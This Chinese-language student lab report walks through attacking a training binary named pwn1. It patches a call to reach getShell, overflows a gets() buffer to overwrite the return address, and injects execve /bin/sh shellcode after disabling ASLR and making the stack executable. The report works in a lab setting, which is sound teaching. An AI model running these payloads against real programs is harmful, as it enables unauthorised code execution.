20212903 2021-2022-2 《网络攻防实践》实践9报告

20212903 2021-2022-2 《网络攻防实践》实践9报告

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

实验要求


  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

1、首先利用指令objdump -d pwn1 | morepwn1文件进行反编译

image-20220509185234698

通过下图我们可以到,在pwn1文件中,我们首先分析main函数,发现在main函数中,有一个call指令,这时我们可以计算080484ba+ffffffd7=08048491,08048491地址为foo函数的开始地址,也就是说EIP寄存器会指向foo函数入口地址。

image-20220509191141365

2、但是本次实验要求我们改变程序执行流程,直接跳转到getShell函数,因此再进行计算10804847d-080484ba=FFFFFFC3因此我们需要把ffffffd7改为FFFFFFC3,即可把EIP寄存地址指向getShell函数的入口地址。于是打开pwn1文件进行更改,利用vim打开文件,发现一堆乱码

image-20220509195454565

输入%!xxd以16进制打开文件

image-20220509200036701

在里面找一找显示d7的位置,将其改为c3即可

image-20220509200408695

修改好后输入命令wq保存退出

image-20220509200500787

修改后要记得用%!xxd -r将文件转回原来的编码格式

image-20220509201136592

3、再利用指令objdump -d pwn1 | morepwn1文件进行反编译,查看我们的更改是否起了效果

从下图可以看到,主函数中的call指令部分,EIP寄存器指向了getShell函数的入口地址

image-20220509201538033

4、运行pwn1文件

我们发现直接调用的getShell函数,修改成功!

image-20220509202654962

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1、再次利用指令objdump -d pwn1 | morepwn1文件进行反编译,查看foo函数相关功能以及编程内容

从下图可以看到foo函数的主要功能是调用gets函数读入用户输入的字符串,然后再利用puts函数将字符串输出到屏幕。但是整个过程只有读入与输出,并没有相关的检查,因此会存在Bof漏洞。

我们还可以看到汇编代码在编程时预留的局部变量空间为0x18同时gets函数部分会将字符串放在0x1c的位置,但是我们根据计算机的堆栈结构可以知道,若输入字符串长度超过36时,其第33-36个字节的数据会被放在EIP寄存器中,也就是会将EIP寄存器原有的数据覆盖掉

image-20220513095458195

2、输入指令gdb pwn1pwn1文件进行调试

然后输入aaaaaaaabbbbbbbbccccccccddddddddeeeeeee作为字符串输入,利用指令info r查看各个寄存器的值、从下图中我们可以看到EIP寄存器中的值为0x65656565c对应的ASCII码正好为65,这也正好验证了我们之前的分析,输入字符串的33-36字节的信息会覆盖EIP寄存器。

image-20220513101624550

3、因此,我们只需要在输入的33-36字节设为getShell函数的入口地址即可,之前我们的反编译分析中可以看到getShell函数的入口地址为0804847d.

利用指令perl -e 'print "wwwwwwwwwwwwwwwwjjjjjjjjjjjjjjjj\x7d\x84\x04\x08\x0a"' > input生成input,这里的input是一个十六进制字符串文件,\x0a表示的是换行符,因为是构造输入没有办法手动输入换行符。

image-20220513102815313

利用指令./pwn1运行pwn1文件,发现确实是获取用户的输入然后再输入到屏幕上

image-20220513102919132

先利用指令xxd input查看input文件,再利用指令(cat input; cat) | ./pwn1设input为pwn1的输入

image-20220513103338583

成功!

注入一个自己制作的shellcode并运行这段shellcode。

1、首先需要安装execstack

prelink_0.0.20130503.orig.tar.bz2放到kali虚拟机中,利用指令sudo apt-get install libelf-dev安装libelf-dev

image-20220513103948388

利用指令tar -xjvf prelink_0.0.20130503.orig.tar.bz2解压文件

image-20220513104919906

进入解压后的文件夹,依次输入指令./configure,make sudo make install进行安装

image-20220513105105497

image-20220513105126695

image-20220513105212468

2、首先利用指令execstack -s pwn1将堆栈设为可执行状态

image-20220513105315328

利用指令execstack -q pwn1查看pwn1的堆栈是否处于可执行状态

image-20220513105418929

利用指令more /proc/sys/kernel/randomize_va_space查看地址随机化的状态为2

image-20220513105738801

利用指令echo "0"> /proc/sys/kernel/randomize_va_space关闭地址随机化注意这里需要用到root权限

image-20220513105834339

再利用指令more /proc/sys/kernel/randomize_va_space查看地址随机化的状态为0

image-20220513105933571

3、选择构造方法为retaddr+nop+shellcode来构造shellcode

shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

使用perl构造输入字符串(长度为37个字节),其作用是用来确定retaddr

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

image-20220513110535892

利用指令(cat input_shellcode; cat) | ./pwn1 input_shellcode设为pwn1的输入

image-20220513110744802

利用指令ps -ef | grep pwn1查看进程

从下图可以看到进程号为238305

image-20220513110848478

利用gdb进行调试,输入指令attach 238305对pwn1程序进行调试

image-20220513111053513

输入指令break *0x080484ae设置断点

image-20220513111215234

输入c来开始运行,并在运行pwn1的窗口内输入回车,来让程序运行到断点处

image-20220513111731859

输入指令info r esp查看ESP寄存器的值

image-20220513111949793

输入x/16x 0xffffd51c 查看当前栈顶的值为0x01020304

image-20220513114952426

综上我们可以确定retaddr值为ffffd51c + 00000004 = ffffd520

因此来构造shellcode:32个A+retaddr+nop+shellcode

\x20\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00

利用指令perl -e 'print "A" x 32;print "\x20\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode构造新的input_shellcode

image-20220513121327389

利用指令(cat input_shellcode; cat) | ./pwn1将新的input_shellcode作为pwn1的输入

image-20220513121257964

实验成功!

3.学习中遇到的问题及解决

  • 问题1:pwn1修改后无法在被打开以及反编译
  • 问题1解决方案:

修改后用%!xxd -r将文件转回原来的编码格式

image-20220509201257811

  • 问题2:我的kali虚拟机没有pdb

image-20220513100604845

  • 问题2解决方案:输入命令sudo apt install gdb sudo apt install gdb-minimal进行安装

4.实践总结

通过这次实验,学习到了渗透攻击的相关知识,了解了如果不对用户的输入进行检验,就会有很大的安全漏洞。我还学会了一些有关汇编语言的相关知识,让我了解了计算机底层语言的实现的一些基本原理。同时也让我深刻地认识到,网络攻防实践是一个综合性极强的课,他需要我们全面的了解计算机的相关知识,从上层的代码编写一直到底层的代码实现,也让我发现了我的理论知识有些薄弱,需要加强。

posted @ 2022-05-14 09:40  William_tony老师  阅读(103)  评论(0编辑  收藏  举报